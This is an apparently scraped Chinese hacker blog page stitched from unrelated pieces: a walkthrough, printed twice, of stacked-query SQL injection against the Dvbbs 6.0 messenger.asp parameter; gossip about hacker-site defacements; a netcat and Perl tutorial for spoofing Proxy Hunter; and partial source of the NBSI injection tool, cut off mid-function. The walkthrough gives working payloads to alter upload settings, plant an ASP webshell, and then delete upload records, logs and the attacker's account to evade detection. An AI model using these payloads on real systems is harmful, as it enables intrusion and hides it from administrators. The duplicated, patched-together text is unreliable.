辣妹's 博客

作者：臭要饭的!
前言：
入侵需要安全，脚本入侵当然也需要安全，我们怎么以最快,最安全的方式入侵成功？
这是值得我们讨论的问题.对于脚本而言，拿到WEBSHELL就是第一个目标，也就是最基本的目标，很多论坛都提供文件上传的功能，我们利用这个上传功能就可以拿到WEBSHELL。默认情况下你是不能上传脚本文件上去的。不过通过修改设置我们就可以上传了。目前很多论坛分为，ACCESS版和MSSQL版，如果是ACCESS版的，我们入侵就不能是最快的了。因为要先去破解前后台管理员的密码。然后进后台再修改设置。再上传文件。所以今天我重点为大家介绍采用MSSQL数据库的论坛

1、为什么这里讲利用MSSQL数据库就可以最快的呢？
因为MSSQL中支持多步执行SQL语句命令。而ACCESS不支持！
所以，我们就可以利用SQL语句来直接修改库。要知道这种方式是最快的。
后台管理员，也无非是通过进入后台，通过脚本程序来修改表中的设置。
所以，通过直接修改表的步骤是最简单的。也是最快的。
对于入侵者来讲，这就是他们所要做的。

2、为什么这里讲利用MSSQL数据库就可以最安全的呢？
很多人能过上传木马，得到WEBSHELL就开心了，就高兴了。
可是你们想想，他们做了些什么？通过漏洞，加自己为前台管理员！
然后，再利用漏洞，添加，要不修改后台管理员密码。这不，就达到目的了。
进前台，再进后台，上传木马。成功了，开心了。
分析一下。对数据库的改过有哪些。
第一：数据库用户表中，多了一个前台管理员。
第二：管理员表中，后台管理员的密码被改！
第三：保存上传文件的表中多了一条上传记录！
第四：有你的操作过程的日志。保存在日志表中！
通过，以上四点。管理员再笨也查得出被入侵了。最起码，很多人没有把第三，第四给清除掉。
所以，谈到安全这点，还是希望大家看看下面我的做法。我并不是教大家怎么入侵。这只是一种思
维的分析。只有分析才能进步！思维比入侵更重要！被发现的入侵是不成功的入侵.

我们以动网短消息漏洞为例！讲解快速、安全的入侵的方式！
在6.0中的动网短消息漏洞，大家都应该非常了解了吧。此漏洞是存在于messanger.asp文件中的,传递的ID参数，只过滤了单引号。好吧。我们开始吧！

看了代码。参数用request("id")来接受。我们可以采用POST方式提交这个参数了。
这样更安全。

自己做一个HTML文件来提交参数。如下：
<form action=http://www.something.com/messanger.asp?action=删除草稿 method=post>
<input type=text name=id width=32 size=100>
<input type=submit>
</form>

这样，我们就可以利用输入框向远程主机提交参数了。

第一步：得到数据库中表中的上传设置.

注册一个账号，找到自己的ID号，再看看，你要在哪个版面上传木马。找到版面ID号(到论坛去看一下，就找到了)。
这里，我以自己的ID号为1001和版面为1为例子给大家讲解！
在输入框中提交：
1); update [user] set homepage=(select board_setting from board where boardid=1) where userid=1001;--
这样，他的设置就在你的个人资料中的联系方式中的个人主页地址中了。
我们在个人主页中。修改一下他的设置在中间插入一个|asp这样就可以。然后点保存。

第二步：修改表中的上传参数，上传木马。
倒着来，再把你的个人主页中的设置替换掉他的上传设置。
1); update board set board_setting=(select homepage from [user] where userid=1001) where boardid=1;--
现在，你就可以去上传文件了。

第三步：上传自己的脚本木马。
我们在刚才的版面中，发表一个新贴，上传木马。呵呵，浏览文件，选好木马点上传。这时就不要动了！
看到下面的文本框中出现什么了吗？
[upload=asp]UploadFile/200311181122210853.asp[/upload]
看到了这个，你就不用点发表了。因为文件已经上去了。并且文件路径和文件名也出来了。
直接访问：http://www.something.com/UploadFile/20041181122210853.asp
木马就在这里了。

第四步：恢复表中的上传设置.
1); update [user] set homepage=(select board_setting from board where boardid=1) where userid=1001;--
去掉|asp
1); update board set board_setting=(select homepage from [user] where userid=1001) where boardid=1;--
更新设置。OK。这样表中的上传设置就恢复了。

第五步 ：删除上传的文件在表中存在的记录.
上传的文件保存在dv_upFile表中的。
先把上传的文件名，写入自己的个人主页中。呵呵。
提交：
1); delete from dv_upfile where F_FileName=(select homepage from [user] where userid=1001);--
这样就删除了，你上传的文件记录。

第六步：删除论坛记录的日志。
你的操作会被记录在脚本系统的日志中的。我们来清除我们所有的操作记录。
提交：
1); delete from [log] where L_UserName=(select UserName from [user] where userid=1001);--
这样，我们就删除了，自己的所有操作日志.

第七步：删除自己的ID号。
到这里，你可以删除自己的ID号，也可以不删除。因为到现在为止，管理员也不会发现你做了些什么。
如果要删除，我们提交下面的语句就删除了。
提交：
1); delete from [user] where userid=1001;--
OK。所有的工作到这里就结束了。你现在可以用你的木马了。

结束分析:

这里我是以动网短消息漏洞为例的。脚本对参数本身过滤了单引号，所以比较麻烦点。如果没有对参数进行过滤，那么我们的工作效率，会更快。
今天为大家谈的只是一种思路，我们打破一切的限制，直接拿WEBSHELL。这种思路适合于任何一个论坛。
很多情况下，后台登陆如果限制了IP的话。就算你修了管理员密码，你也进不去。
让IP，让MD5不再限制我们。我们就从这里开始！ 快速，安全，你做得到!相信我!

作者：臭要饭的!
前言：
入侵需要安全，脚本入侵当然也需要安全，我们怎么以最快,最安全的方式入侵成功？
这是值得我们讨论的问题.对于脚本而言，拿到WEBSHELL就是第一个目标，也就是最基本的目标，很多论坛都提供文件上传的功能，我们利用这个上传功能就可以拿到WEBSHELL。默认情况下你是不能上传脚本文件上去的。不过通过修改设置我们就可以上传了。目前很多论坛分为，ACCESS版和MSSQL版，如果是ACCESS版的，我们入侵就能是最快的了。因为要先去破解前后台管理员的密码。然后进后台再修改设置。再上传文件。所以今天我重点为大家介绍采用MSSQL数据库的论坛

1、为什么这里讲利用MSSQL数据库就可以最快的呢？
因为MSSQL中支持多步执行SQL语句命令。而ACCESS不支持！
所以，我们就可以利用SQL语句来直接修改库。要知道这种方式是最快的。
后台管理员，也无非是通过进入后台，通过脚本程序来修改表中的设置。
所以，通过直接修改表的步骤是最简单的。也是最快的。
对于入侵者来讲，这就是他们所要做的。

2、为什么这里讲利用MSSQL数据库就可以最安全的呢？
很多人能过上传木马，得到WEBSHELL就开心了，就高兴了。
可是你们想想，他们做了些什么？通过漏洞，加自己为前台管理员！
然后，再利用漏洞，添加，要不修改后台管理员密码。这不，就达到目的了。
进前台，再进后台，上传木马。成功了，开心了。
分析一下。对数据库的改过有哪些。
第一：数据库用户表中，多了一个前台管理员。
第二：管理员表中，后台管理员的密码被改！
第三：保存上传文件的表中多了一条上传记录！
第四：有你的操作过程的日志。保存在日志表中！
通过，以上四点。管理员再笨也查得出被入侵了。最起码，很多人没有把第三，第四给清除掉。
所以，谈到安全这点，还是希望大家看看下面我的做法。我并不是教大家怎么入侵。这只是一种思
维的分析。只有分析才能进步！思维比入侵更重要！被发现的入侵是不成功的入侵.

我们以动网短消息漏洞为例！讲解快速、安全的入侵的方式！
在6.0中的动网短消息漏洞，大家都应该非常了解了吧。此漏洞是存在于messanger.asp文件中的,传递的ID参数，只过滤了单引号。好吧。我们开始吧！

看了代码。参数用request("id")来接受。我们可以采用POST方式提交这个参数了。
这样更安全。

自己做一个HTML文件来提交参数。如下：
<form action=http://www.something.com/messanger.asp?action=删除草稿 method=post>
<input type=text name=id width=32 size=100>
<input type=submit>
</form>

这样，我们就可以利用输入框向远程主机提交参数了。

第一步：得到数据库中表中的上传设置.

注册一个账号，找到自己的ID号，再看看，你要在哪个版面上传木马。找到版面ID号(到论坛去看一下，就找到了)。
这里，我以自己的ID号为1001和版面为1为例子给大家讲解！
在输入框中提交：
1); update [user] set homepage=(select board_setting from board where boardid=1) where userid=1001;--
这样，他的设置就在你的个人资料中的联系方式中的个人主页地址中了。
我们在个人主页中。修改一下他的设置在中间插入一个|asp这样就可以。然后点保存。

第二步：修改表中的上传参数，上传木马。
倒着来，再把你的个人主页中的设置替换掉他的上传设置。
1); update board set board_setting=(select homepage from [user] where userid=1001) where boardid=1;--
现在，你就可以去上传文件了。

第三步：上传自己的脚本木马。
我们在刚才的版面中，发表一个新贴，上传木马。呵呵，浏览文件，选好木马点上传。这时就不要动了！
看到下面的文本框中出现什么了吗？
[upload=asp]UploadFile/200311181122210853.asp[/upload]
看到了这个，你就不用点发表了。因为文件已经上去了。并且文件路径和文件名也出来了。
直接访问：http://www.something.com/UploadFile/20041181122210853.asp
木马就在这里了。

第四步：恢复表中的上传设置.
1); update [user] set homepage=(select board_setting from board where boardid=1) where userid=1001;--
去掉|asp
1); update board set board_setting=(select homepage from [user] where userid=1001) where boardid=1;--
更新设置。OK。这样表中的上传设置就恢复了。

第五步 ：删除上传的文件在表中存在的记录.
上传的文件保存在dv_upFile表中的。
先把上传的文件名，写入自己的个人主页中。呵呵。
提交：
1); delete from dv_upfile where F_FileName=(select homepage from [user] where userid=1001);--
这样就删除了，你上传的文件记录。

第六步：删除论坛记录的日志。
你的操作会被记录在脚本系统的日志中的。我们来清除我们所有的操作记录。
提交：
1); delete from [log] where L_UserName=(select UserName from [user] where userid=1001);--
这样，我们就删除了，自己的所有操作日志.

第七步：删除自己的ID号。
到这里，你可以删除自己的ID号，也可以不删除。因为到现在为止，管理员也不会发现你做了些什么。
如果要删除，我们提交下面的语句就删除了。
提交：
1); delete from [user] where userid=1001;--
OK。所有的工作到这里就结束了。你现在可以用你的木马了。

结束分析:

这里我是以动网短消息漏洞为例的。脚本对参数本身过滤了单引号，所以比较麻烦点。如果没有对参数进行过滤，那么我们的工作效率，会更快。
今天为大家谈的只是一种思路，我们打破一切的限制，直接拿WEBSHELL。这种思路适合于任何一个论坛。
很多情况下，后台登陆如果限制了IP的话。就算你修了管理员密码，你也进不去。
让IP，让MD5不再限制我们。我们就从这里开始！ 快速，安全，你做得到!相信我!

想必大家都看过前一段时间冰血封情的关于国内黑客战事的文章（http://www.49297.com/Article/Catalog3/120.html）了吧。

那篇文章写的真是很牛，影响力非常大。我写的这篇文章本质上和冰冰的差不多，可是那都是上半年的事了。进入了7月

份以后中国黑客界变化巨大，很多人和事都有了很大程度上的改变。比如三少比如猪蛋。

这一个多月来的可是说是近几年黑客界最混乱的时刻，国内和国外的矛盾日益锐化，可以说对内还是对外已经成了评判一个

黑客的标准，很多人在忙着内战，很多人忙着外战，国内网站是一个接一个的被黑掉，当然我们的黑客们也搞掉了不少国外

的网站，在这次的行动中也暴露出了很多人的本质，不过这里就不多说了，毕竟这次是一次国的行动，不想背负不爱国这

个罪名。国内和国外黑客都打得热火朝天，说实话倒霉的都是民办网站，呵呵不过哪次战争牺牲最大的不是贫民呢？：）

首先来看国内的，经过上半年“战火”的“洗礼”，我们两位年轻可怕的战士猪蛋儿和枫三少现在好象在无形间都长大了不少，

从最开始漫无目的地黑各种站，到现在有目的地转向安全，也走了中国大部分安全工作者的必经之路（有关2人的事迹可以

查阅冰冰的那篇文章）。这里笔者也为他们高兴，祝他们前程光明。

国内的一些大网站倒是一直没传出什么被黑的消息，估计就算去黑大站也得不到很大的权限，国内的黑客站点是最让人担心的，

接2连3的被黑，让人真是觉得可怕，连搞黑客和搞安全的自己的安全做得都如此之差，不知道让不是黑客的人群会怎么去想？

呵呵这篇文章主要是写国内的情况，大家都知道眼下的中国黑客界是混乱得很。好多网站都消失了，呵呵，现在就看看这个月来

国内的黑客站点被黑的情况吧！

首先说说最大的2个航母级黑客站点黑基(www.hackbase.com)和华夏(www.77169.com)。他们代表了中国黑客中两个最大的团体，

也都是后起之秀。但是现在发展速度可以说只能用一句惊人来形容，黑客基地成立一年的时候世界排名已经冲到了世界2000名，

而华夏比黑基要晚一些，但是发展的确实也非常快速，成为国内顶级的黑客站点。但是两者之间存在着非常激化的矛盾，有一种

水火不相容的感觉，其实也不难理解，大家都想做中国最大的黑客站点，不过个人觉得完全可以共同发展，不必要竞争到这样的

程度，甚至到了两方面的人互相诋毁的程度，互相黑互相骂，这种局面也不是我辈能解决的就不多做评论了。呵呵看看发生的事吧。

最开始是黑基被D，几天无法访问，导致黑基3000会员没地方去。后来黑基通过换IP等手段使网站恢复了正常，不过访问速度比

以前差了一些，好象对IP的限制也更多了。黑基的人都认为这是77169做的，呵呵无凭无据不敢妄语。下图：黑基被D

http://www.lam.home.bj001.net/xfile.php?xname=O82E001&download=1&fname=21.JPG

然后华夏连续2次被黑，第一次被黑数分钟后黑基主页上立即出现了消息，这让华夏人非常气愤，也拉开了黑基和华夏明争

暗斗的序幕。六月19日

http://www.lam.home.bj001.net/xfile.php?xname=O82E001&download=1&fname=20.JPG

这次以后，黑基被D的情况越来越多了，黑基与华夏的矛盾也在增加。说实话真不想看到这样的局面，因为DDOS这种事

根本没办法查是谁干的，希望不是华夏所为呵呵，个人看法个人看法：）。

华夏2次被黑这是几天的事，我这次可以帮黑基说句话这次华夏被黑绝对不是黑基所为，是我一个朋友干的，他绝对不是

黑基的。

华夏被黑的时候俺正在线，截图是自己截的。入侵是在8月6日早上9点左右进行的

http://www.lam.home.bj001.net/xfile.php?xname=O82E001&download=1&fname=19.JPG

兵器谱上排名第三的是"唐家霸王枪".排名第二的是"小李飞刀".排名第一就是"人称人见人爱的瑞士军刀",瑞士军刀
英文名字简称"netcat",在我们一般叫他"NC",它体积小巧，威力无比，不愧是居家旅行，杀人越货之必备良品，在看了
一篇名字叫《代理猎手的深度分析》，文中工具复杂，而且涉及编程，不适合菜鸟使用。我今天就重演如何用nc对代理
猎手进行一次欺骗.
代理猎手，网络上一款非常优秀的搜索proxy软件，无论在速度上和验证的正确性上都是我见过最优秀的东西，不愧是
我们国人的骄傲。但一些无聊人士经常用proxyhunter在网络上进行扫描，占用大量的宽带资料，我对代理猎手分析如下，
首先我用NC在本机监听80端口，并且把日志写进c:log.txt的文本里面，格式如下: nc -vv -l -p 80 >>c:log.txt
在代理猎手的验证里面加入本机IP，我这里用的127.0.0.1：80端口，在验证的资源里面我选择的是著名Google,OK.
一切OK，我对127.0.0.1进行了验证，当时我的NC就收到了消息，并且把所有的信息写到c:log.tx，看下面，
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Pragma: no-cache
GET http://www.google.com/ HTTP/1.1
Host: www.google.com
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 5.01; Win2000)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
大家看到了没有，上面就是代理猎手对IP进行验证发出的信息.下文引用他人文章,猎手在发出了这样一个命令序列后，如果对方
是proxy server的话，猎手就会收到www.google.com的首页，然后下来的应该是在主页中搜寻预先定义在猎手中的KEYWORD,
如果为真，则目标是代理服务器，并且免费。
但我并没有真值的信息，怎么办呢？深度分析的作者写的是在网上找了个proxy server.假设了一个sniffer工具得到的数据包。
可我没有先成的代理服务器，陷入一片郁闷中。几番思考，想到了在本机假设一个proxy server然后sniffer也不是一样吗？虽然
方法很无聊，但我还是给出方法让和我一样菜的朋友门能看懂。去网上下载了CCproxy,这个软件大家应该比我还熟悉吧.一款相当不
错的代理服务器工具，马上在机器上安装好了。设置成80的http代理，本机测试成功以后马上就挂nc进行监听，谁知道根本就没返回
任何的值。一阵郁闷袭来，马上回过来神来，研究了一下，终于搞明白是怎么一回事，本机用ccproxy已经开了80端口，用NC再监听
80的端口，在同一机器上是不可能开2个相同的端口的。怎么办呢，拿出我的宝贝commview，介绍一下，commview是款很好的嗅探工
具，而且不象其他sniffer工具那样占用大量的机器资源。所以对我这些一直用惯了烂机器的人是个不错的选择，OK。首先用命令
ping到Google的真实IP，216.239.53.99，为了能更准确的分析数据，我设置嗅探的IP为192.168.0.164和216.239.53.99，设置端口为80，启动代理，把127.0.0.1：80这个IP加入到代理猎手，启动commview,用google验证127.0.0.1,呵呵，验证结果为free,数据也
出来了，如下：
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/html
Set-Cookie: PREF=ID=0453e9c830e331e7:TM=1074611062:LM=1074611062:S=6pt0iJg_y8rmTiRz; expires=Sun, 17-Jan-2038 19:14:07 GMT; path=/; domain=.google.com
Server: GWS/2.1
Content-length: 3665
Date: Tue, 20 Jan 2004 15:04:22 GMT

<html><head><meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"><title>Google</title><style><!--
body,td,a,p,.h{font-family:arial,sans-serif;}
.h{font-size: 20px;}
.q{color:#0000cc;text-decoration: none;}
//-->
</style>
<script>
<!--
function sf(){document.f.q.focus();}
function c(p,l,e){var f=document.f;if (f.action && document.getElementById) {var hf=document.getElementById("hf");if (hf) {var t = "<input type=hidden name=tab value="+l+">";hf.innerHTML=t;}f.action = 'http://'+p;e.cancelBubble=true;f.submit();return false;}return true;}
// -->
</script>
</head><body bgcolor=#ffffff text=#000000 link=#0000cc vlink=#551a8b alink=#ff0000 onLoad=sf()><center><table border=0 cellspacing=0 cellpadding=0><tr><td><img src="/images/logo.gif" width=276 height=110 alt="Google"></td></tr></table><br>
<table border=0 cellspacing=0 cellpadding=0><tr><td width=15> </td><td id=0 bgcolor=#3366cc align=center width=95 nowrap><font color=#ffffff size=-1><b>Web</b></font></td><td width=15> </td><td id=1 bgcolor=#efefef align=center width=95 nowrap onClick="return c('www.google.com/imghp','wi',event);" style=cursor:pointer;cursor:hand;><a id=1a class=q href="/imghp?hl=en&tab=wi&ie=UTF-8" onClick="return c('www.google.com/imghp','wi',event);"><font size=-1>Images</font></a></td><td width=15> </td><td id=2 bgcolor=#efefef align=center width=95 nowrap onClick="return c('www.gogle.com/grphp','wg',event);" style=cursor:pointer;cursor:hand;><a id=2a class=q href="/grphp?hl=en&tab=wg&ie=UTF-8" onClick="return c('www.google.com/grphp','wg',event);"><font size=-1>Groups</font></a></td><td width=15> </td><td id=3 bgcolor=#efefef align=center width=95 nowrap onClick="return c('www.google.com/dirhp','wd',event);" style=cursor:pointer;cursor:hand;><a id=3a class=q href="/dirhp?hl=en&tab=wd&ie=UTF-8" onClick="return c('www.google.com/dirhp','wd',event);"><font size=-1>Directory</font></a></td><td width=15> </td><td id=4 bgcolor=#efefef align=center width=95 nowrap onClick="return c('www.google.com/nwshp','wn',event);" style=cursor:pointer;cursor:hand;><a id=4a class=q href="/nwshp?hl=en&tab=wn&ie=UTF-8" onClick="return c('www.google.com/nwshp','wn',event);"><font size=-1>News</font></a></td><td width=15> </td></tr><tr><td colspan=12 bgcolor=#3366cc><img width=1 height=1 alt=""></td></tr></table><br><form action="/search" name=f><table cellspacing=0 cellpadding=0><tr><td width=75> </td><td align=center><input type=hidden name=hl value=en><span id=hf></span><input type=hidden name=ie value="ISO-8859-1"><input maxLength=256 size=55 name=q value=""><br><input type=submit value="Google Search" name=btnG><input type=submit value="I'm Feeling Lucky" name=btnI></td><td valign=top nowrap><font size=-2> • <a href=/advanced_search?hl=en>Advanced Search</a><br> • <a href=/preferences?hl=en>Preferences</a><br> • <a href=/language_tools?hl=en>Language Tools</a></font></td></tr></table></form><br><br><font size=-1><a href="/ads/">Advertise with Us</a> - <a href="/services/">Business Solutions</a> - <a href="/options/">Services & Tools</a> - <a href=/about.html>Jobs, Press, & Help</a><span id=hp style="behavior:url(#default#homepage)"></span>
<script>
//<!--
if (!hp.isHomePage('http://www.google.com/')) {document.write("<p><a href="/mgyhp.html" onClick="style.behavior='url(#default#homepage)';setHomePage('http://www.google.com/');">Make Google Your Homepage!</a>");}
//-->
</script></font><p><font size=-2>©2004 Google - Searching 3,307,998,701 web pages</font></p></center></body></html>
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
拿到了真正的验证数据，我们就可以用nc的管道命令来对代理猎手进行一次欺骗了，老规矩，我们先把上面我们嗅探到的数据复制保存到c:free.txt文件，用NC这样监听本机80端口，当有人试图对本机80端口进行连接的时候，自动发送c:free.txt里面的数据，
还是老规矩，给出命令格式:nc -vv -l -p 80 <c:free.txt.关闭代理，用google验证本机，显示为"free",到这里，一次用NC
欺骗代理猎手的演示就成功。其实假如我们把上面的数据的第一行做一次修改，修改成HTTP/1.1 404 ERROR会是什么效果呢``
这个大家就慢慢测试吧，至于可能有很多朋友会问我，这个到底有什么用，这个我就不说了，看我的下篇文章，如何欺骗猎手拿到
对方的帐号和密码，今天是春节，祝大家春节快乐，万事如意。如需转帖，请保持文章的完整性。
欢迎大家来论坛和我交流,测试环境在 win98和2k下通过，感谢好朋友嘿嘿黑在测试中无偿的对我帮助
下面附上我用perl写的一个欺骗的exp给大家
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
#!/usr/bin/perl
print "======================================== ";
print " 代理猎手欺骗 By awjju ";
print " http://www.cnse8.com ";
print " http://www.niedu.org ";
print " 感谢亲爱的黑嘿黑 ";
print "======================================== ";

use IO::Socket ;
use strict;

use constant PORT => 8080;
my $port = shift || PORT;

my $sock = IO::Socket::INET->new( LocalPort => PORT,
Listen => 20,
Proto => 'tcp',
Timeout => 10,
Reuse => 1)
or die "Can't create listening socket: $! ";

while(1){
next unless my $SESSION = $sock->accept;
$SESSION->autoflush(1);
while (<$SESSION>) {
open (cmd,"cmd.txt ") or die "open failed : $! ";
my @str = <cmd>;
print $SESSION @str;
}
close cmd;
close $SESSION;
}
close $sock;
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
为了方便懒人和机器上没装perl环境的朋友，我把编译成了exe文件给大家。下面给大家奉上，
其中cmd.txt必须和ss.exe放在同一目录，使用方法可以这样，比如在本机实现欺骗，可以在代理猎手
中设置验证的地址为127.0.0.1端口为8080，请把验证的资源设置成www.google.com
当然如果你想换成其他地址的话，请修改cmd.txt里面相应的内容。

http://www.cnse8.com
http://www.niedu.org
EAmail:awjju@hotmail.com
拽乖乖
2004.1.21

NBSI1.15部分源代码（不敢全发：））
Const HTTP_200_INC = " 200 "
Const HTTP_500_INC = " 500 "
Const ValidateStr = "<!NBSI_FLAG:"

Public Decide_Method, Inject_Method, Database_Type, SiteID, NBLevel As Integer
Public TxtURL, KeyWord, FieldListMain, FieldListSub, AscStr, DescStr, TableName, TableNameSelected, ReturnBody, ReturnHead, URL_Check_End, GetValidate As String
Public StopFlag, UrlChanged, LoginYN, ErrorYN As Boolean
Dim conn As New ADODB.Connection

Private Sub btnExport_Click()
    FileList.Refresh
    FileList.Show
End Sub

Private Sub btnHelp_Click()
    FormCompare.Show
End Sub

Private Sub Form_Click()
    InjectList.Visible = False
End Sub

Private Sub Image1_Click()
    IE = Shell("C:Progra~1Intern~1IEXPLORE.EXE http://www.54NB.com/?From=NBSI")
End Sub

Private Sub URL_Click()
  nbsp; Call URL_KeyUp(0, 0)
End Sub

Private Sub URL_KeyUp(KeyCode As Integer, Shift As Integer)
    On Error Resume Next
    TxtURL = URL.Text
    Pos = InStr(TxtURL, "?")
    InjectList.Clear
    If Pos > 0 Then
        ScriptName = Left(TxtURL, Pos - 1)
        Parameters = Split(Mid(TxtURL, Pos + 1), "&")
        If UBound(Parameters) > 0 Then
            For i = 0 To UBound(Parameters)
                InjectURL = Replace(TxtURL, "?" & Parameters(i), "")
                InjectURL = Replace(InjectURL, "&" & Parameters(i), "")
                InjectURL = InjectURL & "&" & Parameters(i)
                InjectURL = Replace(InjectURL, ScriptName & "&", ScriptName & "?")
                InjectList.AddItem (InjectURL)
            Next
        End If
        InjectList.Visible = True
    End If
    On Error GoTo 0
End Sub

Private Sub InjectList_DBLClick()
    URL.Text = InjectList.List(InjectList.ListIndex)
End Sub

Private Sub InjectList_LostFocus()
    InjectList.Visible = False
End Sub

Private Sub txtFieldName_Change()
    If txtFieldName.Text = "手工输入表名" Then txtFieldName.Text = ""
End Sub

Private Sub txtRecStart_LostFocus()
    If Not IsNumeric(txtRecStart.Text) Then
        MsgBox ("请输入开始猜解的记录数,必须为整数!")
        txtRecStart.SetFocus
        Exit Sub
    End If
    txtRecStart.Text = Int(txtRecStart.Text)
    If txtRecStart.Text < 1 Then
        MsgBox ("请输入开始猜解的记录数,必须为大于零!")
        txtRecStart.SetFocus
        Exit Sub
    End If
End Sub

Private Sub txtTableName_Change()
    If txtTableName.Text = "手工输入表名" Then txtTableName.Text = ""
End Sub

Private Sub URL_Change()
    If btnCheck.Enabled = False Then UrlChanged = True
    MethodGet.Enabled = True
    MethodPost.Enabled = True
    If LoginYN Then btnCheck.Enabled = True
    btnCheck.Caption = "检测"
End Sub

Private Sub URL_GotFocus()
    TmpURL.Text = URL.Text
End Sub

'----------------------------------------------------------------------------------------------
' Form Load
'----------------------------------------------------------------------------------------------
Private Sub Form_Load()
    If Date > CDate("2008-07-01") Then Exit Sub
   
    If Command = "ver" Then
        MsgBox ("NBSI 1.15 U10001")
        Exit Sub
    End If
   
    On Error Resume Next
    conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & App.Path & "History.MDB"
    sql = "Delete from SiteList where Decide_Method=0"
    conn.Execute (sql)
    sql = "Select SetValue from Setting where SetName='LastURL'"
    Set rsSetting = conn.Execute(sql)
    URL.Text = rsSetting("SetValue")
    Set rsSetting = Nothing
    UrlChanged = False
    Help.Text = "提示：" & vbCrLf & "请先输入您所要注入的网址" & vbCrLf & "[检测]是否存在注入漏洞"
    LoginYN = False
    btnLogin.SetFocus
End Sub

Private Sub Form_Resize()
    If Me.WindowState <> 1 Then
        If Me.Width <> 11025 Then Me.Width = 10240
        If Me.Height <> 7845 Then Me.Height = 7590
    End If
End Sub

Private Sub Form_Unload(Cancel As Integer)
    Set conn = Nothing
    End
End Sub

Private Sub Password_KeyDown(KeyCode As Integer, Shift As Integer)
    If KeyCode = 13 Then Call btnLogin_Click
End Sub

Private Sub btnLogin_Click()
    btnLogin.Enabled = False
    strUserName = UserName.Text
    strPassword = URLEncode(Password.Text)
    If strUserName = "ilove54nb" And strPassword = "ilove54nb" And Date < CDate("2004-08-01") Then
        NBLevel = 1
    ElseIf strUserName = "" Or strPassword = "" Then
        NBLevel = -5
    Else
        Dim CheckURL(3)
        CheckURL(1) = "http://www.54nb.com/?From=NBSI&UserID=" & strUserName & "&Password=" & strPassword & "&ver=1.15"
        CheckURL(2) = "http://bbs.54nb.com/?From=NBSI&UserID=" & strUserName & "&Password=" & strPassword & "&ver=1.15"
        CheckURL(3) = "http://www.Unionbyte.com/Blog/NBSI.ASP?From=NBSI&UserID=" & strUserName & "&Password=" & strPassword & "&ver=1.15"
        On Error Resume Next
        For i = 1 To UBound(CheckURL)
            Err.Clear
            btnLogin.Caption = "尝试" & i
            ValidateArr = CommonGetHTTPHeadAndBody(CheckURL(i))
            If Err.Number = 0 Then
                If InStr(ValidateArr(0), HTTP_200_INC) > 0 Then
                    If InStr(ValidateArr(1), "<frame src=""") > 0 Then
            &nsp;           PosBegin = InStr(ValidateArr(1), "<frame src=""") + 12
                        PosEnd = InStr(PosBegin, ValidateArr(1), """>")
                        RedirectURL = Mid(ValidateArr(1), PosBegin, PosEnd - PosBegin)
                        ValidateArr = CommonGetHTTPHeadAndBody(RedirectURL)
                    End If
                    GetValidate = ValidateArr(1)
                    Exit For
                End If
            End If
        Next
        On Error GoTo 0
        If IsNull(GetValidate) Or GetValidate = "" Or InStr(GetValidate, ValidateStr) = 0 Then
            NBLevel = -4
        Else
            PosBegin = InStr(GetValidate, ValidateStr)
            PosBegin = PosBegin + Len(ValidateStr)
            PosEnd = InStr(PosBegin, GetValidate, ">")
            NBLevel = Mid(GetValidate, PosBegin, PosEnd - PosBegin)
            If IsNumeric(NBLevel) Then
                NBLevel = Int(NBLevel)
            Else
                NBLevel = -3
            End If
        End If
    End If
    If NBLevel > 0 Then
        FrameLogin.Visible = False
        FrameBack.Visible = False
        LoginYN = True
        btnCheck.Enabled = True
        URL.Enabled = True
        Message = "用户名密码正确,身份验证成功!" & vbCrLf & vbCrLf & "注意:本工具限用于网站漏洞检测,请勿用于非法用途,否则后果自负!"
        Call MsgBox(Message, 48, "NBSI提示信息")
    Else
        btnLogin.Enabled = True
        btnLogin.Caption = "登 录"
        Message = "登录失败,请输入正确的用户名密码!如有疑问请与作者联系" & vbCrLf & vbCrLf & "错误代码:" & NBLevel
        Call MsgBox(Message, 48, "NBSI提示信息")
    End If
    ProgressBar.Value = 0
End Sub

Private Sub btnExit_Click()
    End
End Sub

'----------------------------------------------------------------------------------------------
' Main Operate
'----------------------------------------------------------------------------------------------
Private Sub btnCheck_Click()
    InjectList.Visible = False
    If UrlChanged Then
        SelectedValue = MsgBox("您是否要终止本猜解任务，并开始另一网址的检测？", 4 + 32, "NBSI提示信息")
        If SelectedValue = 6 Then
            If LoginYN Then btnCheck.Enabled = True
            btnCheck.Caption = "检测"
           
            TxtKeyword.Enabled = False: TxtKeyword.Text = ""
           
            OptDecide_Method(0).Enabled = False: OptDecide_Method(0).Value = False
            OptDecide_Method(1).Enabled = False: OptDecide_Method(1).Value = False
            OptDecide_Method(2).Enabled = False: OptDecide_Method(2).Value = False
           
            OptInject_Method(0).Enabled = False: OptInject_Method(0).Value = False
            OptInject_Method(1).Enabled = False: OptInject_Method(1).Value = False
            OptInject_Method(2).Enabled = False: OptInject_Method(2).Value = False
           
            OptDatabase_Type(0).Enabled = False: OptDatabase_Type(0).Value = False
            OptDatabase_Type(1).Enabled = False: OptDatabase_Type(1).Value = False
            OptDatabase_Type(2).Enabled = False: OptDatabase_Type(2).Value = False
           
            TableList.Enabled = False: TableList.Clear
            FieldList.Enabled = False: FieldList.Clear
            RecordList.Enabled = False: RecordList.Clear
           
            txtTableName.Enabled = False: txtTableName.Text = "手工输入表名"
            txtFieldName.Enabled = False: txtFieldName.Text = "手工输入列名"
            txtCondition.Enabled = False: txtCondition.Text = "1=1"
            txtRecStart.Enabled = False: txtRecStart.Text = "1"
